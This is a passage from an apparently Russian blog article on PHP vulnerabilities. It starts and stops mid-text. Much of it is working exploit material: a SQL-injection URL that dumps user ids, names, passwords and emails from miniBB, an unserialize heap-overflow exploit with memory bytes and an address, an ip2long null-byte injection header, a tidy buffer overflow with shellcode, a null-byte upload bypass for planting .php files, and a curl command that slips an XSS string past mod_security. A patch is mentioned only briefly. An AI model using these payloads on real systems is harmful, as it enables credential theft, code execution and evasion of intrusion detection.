&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;s&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span>1 <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;s&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">&gt;=</span><span style="color: #0000ff;">'A'</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;s&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">&lt;=</span><span style="color: #0000ff;">'Z'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> <a href="http://www.php.net/unset"><span style="color: #990000;">unset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'s'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
<br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></div>
<p>В дальнейшем если переменная &#8220;s&#8221; из массива _GET прошла фильтрацию , ищущий виртуальные комнаты,<br />
похожие по написаню с введеной в строке поиска строке и дальнейший вывод всех данных из масива на страницу.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/mysql"><span style="color: #990000;">mysql</span></a> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">SELECT</span> `roomname`<span style="color: #339933;">,</span> `updated` FROM `rooms` WHERE `roomname` LIKE <span style="color: #0000ff;">'%$s%'</span> AND`updated` <span style="color: #339933;">&gt;</span> 0 ORDER BY `roomname` ASC <span style="color: #339933;">;</span></div></div>
<p>С первогов взгляда &#8211; код правильный , но стоит переопределить переменную &#8220;s&#8221; , идущую в GET запросе , чтобы выполнить<br />
произвольный sql запрос . Высчитаем hash_del_key для обоих версий php</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">calc <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">PHP5</span> <a href="http://www.php.net/hash"><span style="color: #990000;">hash</span></a><span style="color: #339933;">:</span> 5863704 <span style="color: #339933;">,</span> PHP4 <a href="http://www.php.net/hash"><span style="color: #990000;">hash</span></a><span style="color: #339933;">:</span> <span style="color: #cc66cc;">5861526</span></div></div>
<p>Для того , чтобы хеш переменной засчитался , сначала надо присвоить саму переменную и только после делать подставление наших ключей.<br />
Наш запрос для извлечения юзеров принимает вид</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">browser <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">directory</span><span style="color: #339933;">.</span>php?s<span style="color: #339933;">=</span> and 1<span style="color: #339933;">=</span>2 union select concat_ws<span style="color: #009900;">&#40;</span>char<span style="color: #009900;">&#40;</span>59<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>id<span style="color: #339933;">,</span>username<span style="color: #339933;">,</span>password<span style="color: #339933;">,</span>email<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">+</span>from<span style="color: #339933;">+</span>ac_users<span style="color: #666666; font-style: italic;">/*&amp;5861526=1&amp;5863704=1</span></div></div>
<p>Прерывая одинарной ковычкой оригинальный запрос мы вставляем выборку полей с номером , именем , паролем и почтовым адресом юзера<br />
, обьединенных с помощью функции concat_ws , в результате чего получаем нужные данные.</p>
<p>Не стоит отказываться от unset , одним из способ решения уязвимости является принудительно приравнивание переменной к NULL<br />
, либо двойной вызов этой функции ( по рекоммендации автора minibb ).Рекоммендуется скачать патч со страницы авторов ,<br />
обнаруживших этот баг ( [Для просмотра данной ссылки нужно зарегистрироваться] )</p>
<p>Такой же опыт можно провести , совместив аплоад файла и unset bug . Модифицируем код,где 1322199023 и 1154731405 хеш ключи переменной example<br />
сразу для двух версий php &#8211; четвертой и пятой</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;form method=&quot;post&quot; action=&quot;example.php&quot; encode=&quot;multipart/form-data&quot;&gt; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp;&lt;input type=&quot;file&quot; name=&quot;example&quot; /&gt; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp;&lt;input type=&quot;submit&quot; name=&quot;submit&quot; /&gt; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp;&lt;input type=&quot;file&quot; name=&quot;1322199023&quot; /&gt; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp;&lt;input type=&quot;file&quot; name=&quot;1154731405&quot; /&gt; &nbsp;<br />
&nbsp; &nbsp; &lt;/form&gt; &nbsp;<br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">&lt;?php</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;example&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> &nbsp; <br />
&nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/unset"><span style="color: #990000;">unset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;example&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'example'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>После загрузки файла itdefence.txt мы все равно увидим значение переменной example.</p>
<p><strong>UNDER WHAT? UNDER SERIALIZE !</strong><br />
PHP функция un/serialize используется для помещения данных в строку , представляющую из себя сериализованный массив . Часто<br />
его используют для упрощения структуры хранения Cookie данных юзера . В различных версиях интерпретатора существовало не менее<br />
пяти багов в этой функции &#8211; от банального переполнения буфера до получения нужной информации . На основе этой бреши для phpbb2<br />
был написан эксплоит , представляющий из себя очень длинную строку , посылаемую разбитой в несколько частей в заголовке cookie ,<br />
предварительно закодированной в url представлении . Большое колличество вложеных сериализированных массивов может запросто подвесить<br />
php интерпретатор . В последствие это переросло в integer overflow в вызове функции ecalloc . В таком случае памяти выделится куда<br />
больше чем было выделено под операцию обратную сериализации и приведет к исполнению кода после того как переменная будет удалена<br />
из Zend HashTable.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">php <span style="color: #339933;">-&gt;</span> <span style="color: #000088;">$str</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'S:'</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">100</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">':&quot;'</span><span style="color: #339933;">.</span><a href="http://www.php.net/str_repeat"><span style="color: #990000;">str_repeat</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'\61'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;'</span><span style="color: #339933;">;</span> <a href="http://www.php.net/unserialize"><span style="color: #990000;">unserialize</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$str</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>Эксплоит для linux , где адрес 0&#215;08064058 является свободным для php , эксплоит выглядит так</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">php <span style="color: #339933;">-&gt;</span> &nbsp;<span style="color: #000088;">$hashtable</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/str_repeat"><span style="color: #990000;">str_repeat</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;A&quot;</span><span style="color: #339933;">,</span> 39<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #000088;">$hashtable</span><span style="color: #009900;">&#91;</span>5<span style="color: #339933;">*</span>4<span style="color: #339933;">+</span>0<span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><a href="http://www.php.net/chr"><span style="color: #990000;">chr</span></a><span style="color: #009900;">&#40;</span>0x58<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #000088;">$hashtable</span><span style="color: #009900;">&#91;</span>5<span style="color: #339933;">*</span>4<span style="color: #339933;">+</span>1<span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><a href="http://www.php.net/chr"><span style="color: #990000;">chr</span></a><span style="color: #009900;">&#40;</span>0x40<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #000088;">$hashtable</span><span style="color: #009900;">&#91;</span>5<span style="color: #339933;">*</span>4<span style="color: #339933;">+</span>2<span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><a href="http://www.php.net/chr"><span style="color: #990000;">chr</span></a><span style="color: #009900;">&#40;</span>0x06<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #000088;">$hashtable</span><span style="color: #009900;">&#91;</span>5<span style="color: #339933;">*</span>4<span style="color: #339933;">+</span>3<span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><a href="http://www.php.net/chr"><span style="color: #990000;">chr</span></a><span style="color: #009900;">&#40;</span>0x08<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #000088;">$hashtable</span><span style="color: #009900;">&#91;</span>8<span style="color: #339933;">*</span>4<span style="color: #339933;">+</span>0<span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><a href="http://www.php.net/chr"><span style="color: #990000;">chr</span></a><span style="color: #009900;">&#40;</span>0x66<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #000088;">$hashtable</span><span style="color: #009900;">&#91;</span>8<span style="color: #339933;">*</span>4<span style="color: #339933;">+</span>1<span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><a href="http://www.php.net/chr"><span style="color: #990000;">chr</span></a><span style="color: #009900;">&#40;</span>0x77<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #000088;">$hashtable</span><span style="color: #009900;">&#91;</span>8<span style="color: #339933;">*</span>4<span style="color: #339933;">+</span>2<span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><a href="http://www.php.net/chr"><span style="color: #990000;">chr</span></a><span style="color: #009900;">&#40;</span>0x88<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #000088;">$hashtable</span><span style="color: #009900;">&#91;</span>8<span style="color: #339933;">*</span>4<span style="color: #339933;">+</span>3<span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><a href="http://www.php.net/chr"><span style="color: #990000;">chr</span></a><span style="color: #009900;">&#40;</span>0x99<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$str</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'a:100000:{s:8:&quot;AAAABBBB&quot;;a:3:{s:12:&quot;0123456789AA&quot;;a:1:{s:12:&quot;AAAABBBBCCCC&quot;;i:0;}s:12:&quot;012345678AAA&quot;;i:0;s:12:&quot;012345678BAN&quot;;i:0;}'</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span><span style="color: #cc66cc;">65535</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #000088;">$str</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'i:0;R:2;'</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #000088;">$str</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'s:39:&quot;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&quot;;s:39:&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$hashtable</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;;i:0;R:3;'</span><span style="color: #339933;">;</span> &nbsp;<br />
<br />
&nbsp; &nbsp; <a href="http://www.php.net/unserialize"><span style="color: #990000;">unserialize</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$str</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>Полученный результат нужно использовать как аргумент при использовании unserialize.</p>
<p><strong>SPECIAL CHARS</strong><br />
Использование специальных непечатаемых символов в качестве аргументов , передаваемых функции часто приводит к очень &#8220;радостным&#8221;<br />
результатам . Например прежде чем поместить ip адрес в базу данных его часто проверяют функцией ip2long , которая в случае если<br />
адрес является неправильно сформированным вернет -1.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">php <span style="color: #339933;">-&gt;</span> <a href="http://www.php.net/ip2long"><span style="color: #990000;">ip2long</span></a> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'123.231.222.111&quot;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #339933;">--</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span></div></div>
<p>Однако немного помучав функцию мы можем увидеть что строка , содержащая в себе символы , чьи коды равны 0,9,10,11,12,13 либо 32 вернет<br />
неотрицательный результат.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">php <span style="color: #339933;">-&gt;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">&lt;=</span><span style="color: #cc66cc;">255</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$i</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;:&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/ip2long"><span style="color: #990000;">ip2long</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;1.1.1.1&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/chr"><span style="color: #990000;">chr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;'or'a'='a'/*&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></div>
<p>На примере minibb взлом будет выглядеть так</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/header"><span style="color: #990000;">header</span></a> <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">X</span><span style="color: #339933;">-</span>FORWARDED<span style="color: #339933;">-</span><span style="color: #b1b100;">FOR</span><span style="color: #339933;">:</span> 1<span style="color: #339933;">.</span>1<span style="color: #339933;">.</span>1<span style="color: #339933;">.</span>1<span style="color: #009900;">&#91;</span><a href="http://www.php.net/chr"><span style="color: #990000;">CHR</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span>union select <span style="color: #cc66cc;">1</span></div></div>
<p>Использование нашего sql запроса является хоть и неудобным &#8211; потребуются специальные програмы чтобы отправить заголовок , но в таком<br />
случае мы находимся в выигрыше &#8211; magic_quotes_gpc не распространяется на этот тип данных . К сожалению в minibb провести атаку не получится<br />
- на строку выделяется всего 16 символов плюс один символ наш .</p>
<p>Функция из пакета tidy tidy_parse_string как и ее обратная &#8211; tidy_repair_string при локальном использовании позволяют переполнить<br />
буфер с последующим выполнением шеллкода . Этот набор функций часто используется в wiki &#8211; скриптах</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">php <span style="color: #339933;">-&gt;</span> <a href="http://www.php.net/tidy_parse_string"><span style="color: #990000;">tidy_parse_string</span></a><span style="color: #009900;">&#40;</span>1<span style="color: #339933;">,</span><a href="http://www.php.net/str_repeat"><span style="color: #990000;">str_repeat</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;A&quot;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">2036</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x8B</span><span style="color: #660099; font-weight: bold;">\x51</span><span style="color: #660099; font-weight: bold;">\x81</span><span style="color: #660099; font-weight: bold;">\x7C</span>&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/str_repeat"><span style="color: #990000;">str_repeat</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x90</span>&quot;</span><span style="color: #339933;">,</span>12<span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #000088;">$shellcode</span><span style="color: #339933;">,</span>1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>Очень серьезной является ошибка в функциях copy и move_uploaded_file &#8211; существуют символы , которые &#8220;обрубают&#8221; строку &#8211; аргумент<br />
до вхождения этого символа . Обычно это null byte , а в некоторых nix системах и слеши .</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">php <span style="color: #339933;">-&gt;</span> <span style="color: #000088;">$filename</span> &nbsp; &nbsp;<span style="color: #339933;">=</span> <a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fileinfo</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x00</span>..<span style="color: #660099; font-weight: bold;">\x1F</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>Напишем скрипт , ничуть не отличающийся от множества , используемых для аплоада файла с проверкой расширения.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span> &nbsp;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$filename</span> &nbsp; <span style="color: #339933;">=</span> <span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'userfile'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$allowed</span> &nbsp; &nbsp; <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'gif'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'png'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'jpg'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$tmpname</span> &nbsp; &nbsp;<span style="color: #339933;">=</span> <a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span><span style="color: #000088;">$filename</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$extension</span> &nbsp; &nbsp; <span style="color: #339933;">=</span> <span style="color: #000088;">$tmpname</span><span style="color: #009900;">&#91;</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tmpname</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span>1<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$allowed</span> &nbsp; &nbsp; <span style="color: #339933;">=</span> <a href="http://www.php.net/in_array"><span style="color: #990000;">in_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$extension</span><span style="color: #339933;">,</span><span style="color: #000088;">$allowed</span><span style="color: #009900;">&#41;</span> ? <span style="color: #009900; font-weight: bold;">true</span> <span style="color: #339933;">:</span> <span style="color: #009900; font-weight: bold;">false</span> <span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$allowed</span><span style="color: #009900;">&#41;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/move_uploaded_file"><span style="color: #990000;">move_uploaded_file</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'userfile'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'tmp_name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$uploadfile</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'uploaded!'</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'aaah noooo!'</span><span style="color: #339933;">;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">?&gt;</span> &nbsp;<br />
<br />
&nbsp; &nbsp; &lt;form enctype=&quot;multipart/form-data&quot; action=&quot;test.php&quot; method=&quot;post&quot;&gt; &nbsp;<br />
&nbsp; &nbsp; Отправить этот файл: &lt;input name=&quot;userfile&quot; type=&quot;file&quot; /&gt; &nbsp;<br />
&nbsp; &nbsp; &lt;input type=&quot;submit&quot; value=&quot;Send File&quot; /&gt; &nbsp;<br />
&nbsp; &nbsp; &lt;/form&gt;</div></div>
<p>На первый взгляд вполне логично , что файл с именем file.jpg.php не пройдет проверку , однако попробуем вставить null bute в имя файла и<br />
в конечном виде получится чтото вроде my_data.php%00.jpg . Удачная попытка и наш файл залить с именем my_data.php . Такой же баг присутствует<br />
и в функции copy().</p>
<p>Mod_secuirity , часто устанавливаемый вместе с апачем тоже подвержен уязвимостям . Внедря null byte в POST заголовок мы обманем фильтр<br />
и не оставим в логах никаких записей , тк ids посчитает %00 концом строки</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">hp <span style="color: #339933;">-&gt;</span> <span style="color: #004000;">curl</span> &nbsp;http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//localhost/test.php --data-binary @postdata -AHarmlessUserAgent &lt;script&gt;alert(/xss/);&lt;/script&gt;</span></div></div>
<p>Для облегчения труда был написан комплекс скриптов для тестирования функций на предмет переполнения буфера в передаваемых аргументах.<br />
Одна часть скрипта получает список всевозможных функций и запускает второй скрипт с аргументом , вызывающий функцию по имени аргумента<br />
и логирующий каждую ошибку.</p>
<p><strong>BASE DIR &#038;&#038; SAFE MODE</strong><br />
Защищенный режим в PHP &#8211; это попытка решить проблему безопасности на совместно используемых серверах. Несмотря на то, что концептуально<br />
неверно решать эту проблему на уровне PHP , но поскольку альтернативы уровня веб-сервера или операционной системы на сегодняшний день<br />
отсутствуют, многие пользователи, особенно провайдеры, используют именно защищенный режим. Для управлением safe_mode в файле настроек php<br />
имеется пара директив , определающих поведение безопасного режима.</p>
<p>safe_mode &#8211; отключает \ включает защищенный режим<br />
safe_mode_gid &#8211; определяет доступ к скрипту по uid вызывающего его юзера<br />
safe_mode_include_dir &#8211; разрешает подключение файлов только из определенной директории<br />
safe_mode_exec_dir &#8211; разрешает выполнять команды оболочки только в определенной директории<br />
safe_mode_allowed_env_vars &#8211; разрешает модификацию переменных , имеющих в названии определенную приставку<br />
safe_mode_protected_env_vars &#8211; запрещает модификацию переменных при любом раскладе<br />
open_basedir &#8211; ограничивает спискок файлов и директорий на чтения , не влияет состояние режима safe_mode<br />
disable_functions &#8211; зарпещает выполнение функций из списка</p>
<p>В случае открытия файла , права на который не совпадает с правами юзера выдастя ошибка</p>
